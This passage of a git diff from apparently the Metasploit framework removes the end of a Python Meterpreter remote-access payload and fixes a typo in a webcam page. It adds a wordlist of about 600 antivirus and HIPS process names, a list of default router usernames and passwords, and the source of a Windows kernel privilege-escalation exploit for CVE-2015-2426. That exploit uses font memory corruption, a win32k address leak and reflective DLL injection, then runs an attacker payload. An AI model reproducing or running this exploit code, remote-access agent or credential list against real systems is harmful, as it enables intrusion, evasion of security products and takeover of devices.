os.fstat(channel.fileno()).st_size - response += tlv_pack(TLV_TYPE_BOOL, result) - return ERROR_SUCCESS, response - - def _core_channel_interact(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value'] - if toggle: - if channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - else: - self.interact_channels.append(channel_id) - elif channel_id in self.interact_channels: - self.interact_channels.remove(channel_id) - return ERROR_SUCCESS, response - - def _core_channel_read(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - data = '' - if isinstance(channel, STDProcess): - if channel.poll() != None: - self.handle_dead_resource_channel(channel_id) - if channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read(length) - elif isinstance(channel, MeterpreterFile): - data = channel.read(length) - elif isinstance(channel, MeterpreterSocket): - data = channel.recv(length) - else: - return ERROR_FAILURE, response - response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) - return ERROR_SUCCESS, response - - def _core_channel_write(self, request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] - length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] - if channel_id not in self.channels: - return ERROR_FAILURE, response - channel = self.channels[channel_id] - l = len(channel_data) - if isinstance(channel, subprocess.Popen): - if channel.poll() != None: - self.handle_dead_resource_channel(channel_id) - return ERROR_FAILURE, response - channel.write(channel_data) - elif isinstance(channel, MeterpreterFile): - channel.write(channel_data) - elif isinstance(channel, MeterpreterSocket): - try: - l = channel.send(channel_data) - except socket.error: - channel.close() - self.handle_dead_resource_channel(channel_id) - return ERROR_FAILURE, response - else: - return ERROR_FAILURE, response - response += tlv_pack(TLV_TYPE_LENGTH, l) - return ERROR_SUCCESS, response - - def create_response(self, request): - resp = struct.pack('>I', PACKET_TYPE_RESPONSE) - method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD) - resp += tlv_pack(method_tlv) - - reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) - resp += tlv_pack(reqid_tlv) - - handler_name = method_tlv['value'] - if handler_name in self.extension_functions: - handler = self.extension_functions[handler_name] - try: - self.debug_print('[*] running method ' + handler_name) - result, resp = handler(request, resp) - except Exception: - self.debug_print('[-] method ' + handler_name + ' resulted in an error') - if DEBUGGING: - traceback.print_exc(file=sys.stderr) - result = error_result() - else: - self.debug_print('[-] method ' + handler_name + ' was requested but does not exist') - result = error_result(NotImplementedError) - resp += tlv_pack(TLV_TYPE_RESULT, result) - resp = struct.pack('>I', len(resp) + 4) + resp - return resp - -if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): - if hasattr(os, 'setsid'): - try: - os.setsid() - except OSError: - pass - if HTTP_CONNECTION_URL and has_urllib: - met = PythonMeterpreter() - else: - met = PythonMeterpreter(s) - met.run() diff --git a/data/webcam/offerer.html b/data/webcam/offerer.html index 8bd7cb5a48..eaa58ebbcf 100644 --- a/data/webcam/offerer.html +++ b/data/webcam/offerer.html @@ -169,7 +169,7 @@ userid: 'self', stream: stream }); - + callback(stream); }); } @@ -178,7 +178,7 @@
- You peer + Your peer
@@ -199,4 +199,4 @@ - \ No newline at end of file + diff --git a/data/wordlists/av_hips_executables.txt b/data/wordlists/av_hips_executables.txt new file mode 100644 index 0000000000..ad26923f55 --- /dev/null +++ b/data/wordlists/av_hips_executables.txt @@ -0,0 +1,614 @@ +emet_agent.exe +emet_service.exe +firesvc.exe +firetray.exe +hipsvc.exe +mfevtps.exe +mcafeefire.exe +scan32.exe +shstat.exe +tbmon.exe +vstskmgr.exe +engineserver.exe +mfevtps.exe +mfeann.exe +mcscript.exe +updaterui.exe +udaterui.exe +naprdmgr.exe +frameworkservice.exe +cleanup.exe +cmdagent.exe +frminst.exe +mcscript_inuse.exe +mctray.exe +mcshield.exe +AAWTray.exe +Ad-Aware.exe +MSASCui.exe +_avp32.exe +_avpcc.exe +_avpm.exe +aAvgApi.exe +ackwin32.exe +adaware.exe +advxdwin.exe +agentsvr.exe +agentw.exe +alertsvc.exe +alevir.exe +alogserv.exe +amon9x.exe +anti-trojan.exe +antivirus.exe +ants.exe +apimonitor.exe +aplica32.exe +apvxdwin.exe +arr.exe +atcon.exe +atguard.exe +atro55en.exe +atupdater.exe +atwatch.exe +au.exe +aupdate.exe +auto-protect.nav80try.exe +autodown.exe +autotrace.exe +autoupdate.exe +avconsol.exe +ave32.exe +avgcc32.exe +avgctrl.exe +avgemc.exe +avgnt.exe +avgrsx.exe +avgserv.exe +avgserv9.exe +avguard.exe +avgw.exe +avkpop.exe +avkserv.exe +avkservice.exe +avkwctl9.exe +avltmain.exe +avnt.exe +avp.exe +avp.exe +avp32.exe +avpcc.exe +avpdos32.exe +avpm.exe +avptc32.exe +avpupd.exe +avsched32.exe +avsynmgr.exe +avwin.exe +avwin95.exe +avwinnt.exe +avwupd.exe +avwupd32.exe +avwupsrv.exe +avxmonitor9x.exe +avxmonitornt.exe +avxquar.exe +backweb.exe +bargains.exe +bd_professional.exe +beagle.exe +belt.exe +bidef.exe +bidserver.exe +bipcp.exe +bipcpevalsetup.exe +bisp.exe +blackd.exe +blackice.exe +blink.exe +blss.exe +bootconf.exe +bootwarn.exe +borg2.exe +bpc.exe +brasil.exe +bs120.exe +bundle.exe +bvt.exe +ccapp.exe +ccevtmgr.exe +ccpxysvc.exe +ccsvchst.exe +cdp.exe +cfd.exe +cfgwiz.exe +cfiadmin.exe +cfiaudit.exe +cfinet.exe +cfinet32.exe +claw95.exe +claw95cf.exe +clean.exe +cleaner.exe +cleaner3.exe +cleanpc.exe +click.exe +cmesys.exe +cmgrdian.exe +cmon016.exe +connectionmonitor.exe +cpd.exe +cpf9x206.exe +cpfnt206.exe +ctrl.exe +cv.exe +cwnb181.exe +cwntdwmo.exe +datemanager.exe +dcomx.exe +defalert.exe +defscangui.exe +defwatch.exe +deputy.exe +divx.exe +dllcache.exe +dllreg.exe +doors.exe +dpf.exe +dpfsetup.exe +dpps2.exe +drwatson.exe +drweb32.exe +drwebupw.exe +dssagent.exe +dvp95.exe +dvp95_0.exe +ecengine.exe +efpeadm.exe +emsw.exe +ent.exe +esafe.exe +escanhnt.exe +escanv95.exe +espwatch.exe +ethereal.exe +etrustcipe.exe +evpn.exe +exantivirus-cnet.exe +exe.avxw.exe +expert.exe +explore.exe +f-agnt95.exe +f-prot.exe +f-prot95.exe +f-stopw.exe +fameh32.exe +fast.exe +fch32.exe +fih32.exe +findviru.exe +firewall.exe +fnrb32.exe +fp-win.exe +fp-win_trial.exe +fprot.exe +frw.exe +fsaa.exe +fsav.exe +fsav32.exe +fsav530stbyb.exe +fsav530wtbyb.exe +fsav95.exe +fsgk32.exe +fsm32.exe +fsma32.exe +fsmb32.exe +gator.exe +gbmenu.exe +gbpoll.exe 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+realmon.exe +reged.exe +regedit.exe +regedt32.exe +rescue.exe +rescue32.exe +rrguard.exe +rshell.exe +rtvscan.exe +rtvscn95.exe +rulaunch.exe +run32dll.exe +rundll.exe +rundll16.exe +ruxdll32.exe +safeweb.exe +sahagent.exescan32.exe +shstat.exe +tbmon.exe +vstskmgr.exe +engineserver.exe +mfevtps.exe +mfeann.exe +mcscript.exe +updaterui.exe +udaterui.exe +naprdmgr.exe +frameworkservice.exe +cleanup.exe +cmdagent.exe +frminst.exe +mcscript_inuse.exe +mctray.exe +mcshield.exe +save.exe +savenow.exe +sbserv.exe +sc.exe +scam32.exe +scan32.exe +scan95.exe +scanpm.exe +scrscan.exe +serv95.exe +setup_flowprotector_us.exe +setupvameeval.exe +sfc.exe +sgssfw32.exe +sh.exe +shellspyinstall.exe +shn.exe +showbehind.exe +smc.exe +sms.exe +smss32.exe +soap.exe +sofi.exe +sperm.exe +spf.exe +sphinx.exe +spoler.exe +spoolcv.exe +spoolsv32.exe +spyxx.exe +srexe.exe +srng.exe +ss3edit.exe +ssg_4104.exe +ssgrate.exe +st2.exe +start.exe +stcloader.exe +supftrl.exe +support.exe +supporter5.exe +svchostc.exe +svchosts.exe +sweep95.exe +sweepnet.sweepsrv.sys.swnetsup.exe +symproxysvc.exe +symtray.exe +sysedit.exe +sysupd.exe +taskmg.exe +taskmo.exe +taumon.exe +tbscan.exe +tc.exe +tca.exe +tcm.exe +tds-3.exe +tds2-98.exe +tds2-nt.exe +teekids.exe +tfak.exe +tfak5.exe +tgbob.exe +titanin.exe +titaninxp.exe +tracert.exe +trickler.exe +trjscan.exe +trjsetup.exe +trojantrap3.exe +tsadbot.exe +tvmd.exe +tvtmd.exe +undoboot.exe +updat.exe +update.exe +upgrad.exe +utpost.exe +vbcmserv.exe +vbcons.exe +vbust.exe +vbwin9x.exe +vbwinntw.exe +vcsetup.exe +vet32.exe +vet95.exe +vettray.exe +vfsetup.exe +vir-help.exe +virusmdpersonalfirewall.exe +vnlan300.exe +vnpc3000.exe +vpc32.exe +vpc42.exe +vpfw30s.exe +vptray.exe +vscan40.exe +vscenu6.02d30.exe +vsched.exe +vsecomr.exe +vshwin32.exe +vsisetup.exe +vsmain.exe +vsmon.exe +vsstat.exe +vswin9xe.exe +vswinntse.exe +vswinperse.exe +w32dsm89.exe +w9x.exe +watchdog.exe +webdav.exe +webscanx.exe +webtrap.exe +wfindv32.exe +whoswatchingme.exe +wimmun32.exe +win-bugsfix.exe +win32.exe +win32us.exe +winactive.exe +window.exe +windows.exe +wininetd.exe +wininitx.exe +winlogin.exe +winmain.exe +winnet.exe +winppr32.exe +winrecon.exe +winservn.exe +winssk32.exe +winstart.exe +winstart001.exe +wintsk32.exe +winupdate.exe +wkufind.exe +wnad.exe +wnt.exe +wradmin.exe +wrctrl.exe +wsbgate.exe +wupdater.exe +wupdt.exe +wyvernworksfirewall.exe +xpf202en.exe +zapro.exe +zapsetup3001.exe +zatutor.exe +zonalm2601.exe +zonealarm.exe diff --git a/data/wordlists/routers_userpass.txt b/data/wordlists/routers_userpass.txt new file mode 100644 index 0000000000..4b35db7811 --- /dev/null +++ b/data/wordlists/routers_userpass.txt @@ -0,0 +1,415 @@ +root +admin +guest +root root +root password +root 1234 +root 12345 +root 123456 +root 3ep5w2u +root admin +root Admin +root admin_1 +root alpine +root ascend +root attack +root blender +root calvin +root changeme +root Cisco +root cms500 +root davox +root default +root fivranne +root ggdaseuaimhrke +root iDirect +root letacla +root Mau'dib +root pass +root permit +root ROOT500 +root tini +root tslinux +root wyse +ro ro +router router +rwa rwa +rw rw +ubnt ubnt +guest guest +guest User +admin 0 +admin 0000 +admin 1111 +admin 123 +admin 1234 +admin 123456 +admin 1234admin +admin 2222 +admin 22222 +admin2 changeme +admin 3477 +admin 3ascotel +admin 9999 +admin access +admin admin +admin Admin +Admin admin +admin admin123 +admin adminttd +admin adslolitec +admin adslroot +admin adtran +admin AitbISP4eCiG +admin articon +admin asante +admin ascend +admin Ascend +admin asd +admin atc123 +admin atlantis +admin backdoor +admin barricade +admin barricadei +admin bintec +admin BRIDGE +admin cableroot +admin changeme +admin cisco +admin _Cisco +admin comcomcom +admin conexant +admin default +admin diamond +admin enter +admin epicrouter +admin extendnet +admin giraff +admin hagpolm1 +admin hello +admin help +admin hp.com +admin Intel +admin ironport +admin isee +acc acc +adfexc adfexc +adm +admin kont2004 +admin letmein +admin leviton +admin linga +admin michelangelo +admin microbusiness +admin MiniAP +admin motorola +admin mu +admin my_DEMARC +admin netadmin +admin NetCache +admin NetICs +admin noway +admin OCS +admin operator +admin P@55w0rd! +admin password +admin p-assword +admin PASSWORD +admin passwort +admin pento +admin pfsense +admin private +admin Protector +admin public +admin pwp +admin radius +admin rmnetlm +admin root +admin secure +admin setup +admin sitecom +admin smallbusiness +admin smcadmin +admin SMDR +admin speedxess +admin SUPER +admin superuser +admin switch +admin Symbol +admin synnet +admin sysAdmin +admin system +admin TANDBERG +admin visual +admin w2402 +admin xad$|#12 +admin xad$l#12 +admin zoomadsl +system change_on_install +system/manager sys/change_on_install +system password +system sys +adminttd adminttd +adminuser OCS +adminview OCS +adminstat OCS +adminstrator changeme +Administrator 3ware +Administrator admin +administrator administrator +ADMINISTRATOR ADMINISTRATOR +administrator changeme +Administrator changeme +Administrator ganteng +Administrator letmein +Administrator password +Administrator pilou +Administrator smcadmin +ADMN admn +ami +anonymous any@ +anonymous Exabyte +Any 12345 +apc apc +at4400 at4400 +bbsd-client changeme2 +bbsd-client NULL +bciim bciimpw +bcim bcimpw +bcms bcmspw +bcnas bcnaspw +bcnas pcnaspw +blue bluepw +browse browsepw +browse looker +cablecom router +cablemodem robotics +cac_admin cacadmin +cas cascade +ccrusr ccrusr +cellit cellit +cgadmin cgadmin +cisco +cisco cisco +Cisco Cisco +citel citel +client client +cmaker cmaker +comcast 1234 +corecess corecess +craft +craft craft +craft craftpw +craft crftpw +CSG SESAME +cusadmin highspeed +cust custpw +customer +customer none +dadmin dadmin01 +davox davox +debug d.e.b.u.g +debug synnet +deskalt password +deskman changeme +desknorm password +deskres password +device device +dhs3mt dhs3mt +dhs3pms dhs3pms +diag danger +diag switch +disttech 4tas +D-Link D-Link +draytek 1234 +DTA TJM +e250 e250changeme +e500 e500changeme +echo echo +echo User +enable +eng engineer +enquiry enquirypw +field support +GEN1 gen1 +GEN2 gen2 +GlobalAdmin GlobalAdmin +halt tlah +helpdesk OCS +hsa hsadb +hscroot abc123 +HTTP HTTP +hydrasna +iclock timely +images images +inads inads +inads indspw +init initpw +installer installer +install llatsni +install secret +intel intel +intermec intermec +intermec intermec1QTPS +IntraStack Asante +IntraSwitch Asante +jagadmin +JDE JDE +kermit kermit +l2 l2 +l3 l3 +locate locatepw +login 0 +login 1111 +login 8429 +login access +login admin +login password +lp lp +LUCENT01 UI-PSWD-01 +LUCENT02 UI-PSWD-02 +m1122 m1122 +mac +maint maint +maint maintpw +maint ntacdmax +maint rwmaint +manage !manage +manager admin +manager change_on_install +manager friend +Manager friend +manager manager +Manager Manager +manager sys +manuf xxyyzz +MDaemon MServer +mediator mediator +MICRO RSX +mlusr mlusr +monitor monitor +mtch mtch +mtcl +mtcl mtcl +naadmin naadmin +NAU NAU +netangr attack +netman +netman netman +netopia netopia +netrangr attack +netscreen netscreen +NETWORK NETWORK +NICONEX NICONEX +nms nmspw +nokai nokai +nokia nokia +none 0 +none admin +operator +operator 1234 +operator $chwarzepumpe +operator operator +op op +op operator +patrol patrol +PBX PBX +PFCUser 240653C9467E45 +piranha piranha +piranha q +pmd +poll tech +Polycom SpIp +PRODDTA PRODDTA +PSEAdmin $secure$ +public +public public +radware radware +rapport r@p8p0r+ +rcust rcustpw +readonly lucenttech2 +readwrite lucenttech1 +recovery recovery +replicator replicator +RMUser1 password +sa +scmadmin scmchangeme +scout scout +secret secret +secure secure +security security +service smile +setup changeme +setup changeme! +setup setup +smc smcadmin +spcl 0 +storwatch specialist +stratacom stratauser +super 5777364 +superadmin secret +superman 21241036 +superman talent +super super +super.super +super.super master +super surt +superuser +superuser 123456 +superuser admin +supervisor PlsChgMe! +supervisor PlsChgMe1 +supervisor supervisor +support h179350 +support support +support supportpw +su super +Sweex Mysweex +sysadm Admin +sysadm anicust +sysadmin PASS +sysadmin password +sysadmin sysadmin +sysadm PASS +sysadm sysadm +SYSADM sysadm +sys uplink +target password +teacher password +tech +tech ANYCOM +tech field +tech ILMI +tech tech +telco telco +telecom telecom +tellabs tellabs#1 +temp1 password +test test +tiara tiaranet +tiger tiger123 +topicalt password +topicnorm password +topicres password +user +USERID PASSW0RD +user pass +user password +User Password +user public +user tivonpw +user user +vcr NetVCR +VNC winterm +volition volition +vt100 public +VTech VTech +webadmin 1234 +webadmin webadmin +websecadm changeme +wlse wlsedb +wradmin trancell +write private +xd xd +xxx cascade +ZXDSL ZXDSL diff --git a/external/source/exploits/CVE-2015-2426/.gitignore b/external/source/exploits/CVE-2015-2426/.gitignore new file mode 100755 index 0000000000..36cde865e0 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/.gitignore @@ -0,0 +1,17 @@ +Release/ +Debug/ +x64/ +dll/Release/ +dll/Debug/ +dll/reflective_dll.vcproj.*.user +dll/reflective_dll.vcxproj.user +inject/Release/ +inject/Debug/ +inject/inject.vcproj.*.user +inject/inject.vcxproj.user +*.ncb +*.suo +*.sdf +*.opensdf +*.suo +bin/ diff --git a/external/source/exploits/CVE-2015-2426/LICENSE.txt b/external/source/exploits/CVE-2015-2426/LICENSE.txt new file mode 100755 index 0000000000..f217025f51 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/LICENSE.txt @@ -0,0 +1,25 @@ +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/Readme.md b/external/source/exploits/CVE-2015-2426/Readme.md new file mode 100755 index 0000000000..814e6e7517 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/Readme.md @@ -0,0 +1,40 @@ +About +===== + +Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. + +Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. + +Overview +======== + +The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. + +Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. + +* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. +* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. +* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. +* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. +* The library's headers and sections are loaded into their new locations in memory. +* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. +* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. +* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. +* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. + +Build +===== + +Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll + +Usage +===== + +To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: + +> inject.exe 1234 + +License +======= + +Licensed under a 3 clause BSD license, please see LICENSE.txt for details. diff --git a/external/source/exploits/CVE-2015-2426/common/ReflectiveDLLInjection.h b/external/source/exploits/CVE-2015-2426/common/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..4ae206b549 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/common/ReflectiveDLLInjection.h @@ -0,0 +1,53 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj b/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj new file mode 100755 index 0000000000..eec2e10acc --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj @@ -0,0 +1,273 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + + + + DynamicLibrary + v120 + MultiByte + true + + + DynamicLibrary + v120 + MultiByte + true + + + DynamicLibrary + v120 + Unicode + + + DynamicLibrary + v120 + Unicode + + + DynamicLibrary + v120 + MultiByte + false + + + DynamicLibrary + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + ../common + + + true + Windows + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + ../common + + + true + Windows + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + ../common + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + ../common + + + true + Windows + true + true + MachineX86 + + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + true + Default + ProgramDatabase + ../common + + + true + Windows + true + true + $(OutDir)$(ProjectName).arm.dll + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + ../common + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj.filters b/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj.filters new file mode 100755 index 0000000000..c030e8159c --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj.filters @@ -0,0 +1,58 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp b/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp new file mode 100755 index 0000000000..4fcd61264a --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp @@ -0,0 +1,55 @@ +// Exploit.cpp : Defines the entry point for the console application. +// +#include + +#include "Exploit.h" +#include "Win32kLeaker.h" +#include "Exploiter.h" +#include "FontData.h" + +static VOID ExecutePayload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return; +} + +VOID Exploit(LPVOID lpPayload) +{ + // Variables. + DWORD cFonts; + PVOID pFontData = (PVOID)fontData; + DWORD ExAllocatePoolWithTag_offset; + ULONGLONG win32kBaseAddr; + ULONGLONG ntBaseAddr; + + ExploiterInit(); + + // Leak the win32k base address. + win32kBaseAddr = LeakWin32kAddress(); + if (win32kBaseAddr == NULL) { + return; + } + + ExploiterSetupFirstChain(win32kBaseAddr); + ExploiterDoFengShui(); + + // Trigger the memory corruption: Render the font and cause memory overwrite. + cFonts = 0; + HANDLE fh = AddFontMemResourceEx(pFontData, sizeof(fontData), 0, &cFonts); + // Clean up: remove the font from memory. + RemoveFontMemResourceEx(fh); + + // First Stage: Leak ntoskrnl + ExploiterRunFirstChain(); + ntBaseAddr = ExploiterGetNtBase(); + + // Second Stage: elevate privileges + ExploiterSetupSecondChain(win32kBaseAddr, ntBaseAddr); + ExploiterRunSecondChain(); + ExpoiterCleanUp(); + + // Exetue msf payload + ExecutePayload(lpPayload); +} + diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploit.h b/external/source/exploits/CVE-2015-2426/dll/src/Exploit.h new file mode 100755 index 0000000000..d7f841ad88 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploit.h @@ -0,0 +1,5 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +VOID Exploit(LPVOID lpPayload); +#endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp 